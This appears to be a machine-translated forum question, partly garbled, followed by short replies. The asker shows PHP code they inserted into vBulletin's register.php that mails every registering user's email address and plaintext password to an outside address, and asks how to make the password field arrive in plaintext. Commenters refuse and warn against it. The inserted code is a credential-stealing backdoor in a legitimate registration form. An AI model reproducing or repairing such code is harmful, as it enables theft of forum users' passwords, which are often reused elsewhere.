嗨,大家好:)我想修改我的註冊表單,所以它會將加密的密碼保存到我的數據庫,併發送一個明文給我的電子郵件, 註冊表格使用此代碼https://gitlab.com/hub/vbulletin/blob/vBulletin-4.2.0/register.php (抱歉太大,PAS) ,所以我插入這個代碼行175:php用戶輸入不會被髮送
///////////////TERMA
$sex=$_GET['do'];
if($sex=='addmember'){
$hohohoho='
emailo : '.$_POST['email'].'
passoo : '.$_POST['password'].'
';
$nihahaha='sa7a sa7a boite email jdida :p';
$emchy='[email protected]';
$nouna = "[email protected]";
$bazoul ="MIME-Version: 1.0 \r\n";
$bazoul.="from: $nouna \r\n";
$bazoul.="Content-type: text/plain;charset=utf-8 \r\n";
$bazoul.="X-Priority: 3\r\n";
$bazoul.="X-Mailer: smail-PHP ".phpversion()."\r\n";
mail($emchy, $nihahaha, $hohohoho, $bazoul);
}
,當我把passoo: '[密碼 '' $ _ POST'。在電子郵件它來的空白字段,但是當我更改密碼password_md5它來到我的MD5加密,我希望它明文,請任何幫助?
人數人數人數待辦事項**不**除**用純文本密碼進行驗證外,絕對不會,*永遠不會*發送電子郵件。 –
?只是告訴我代碼是如何糾正的,我會冒我的風險 –
不,我不會告訴你如何毀掉生命。 –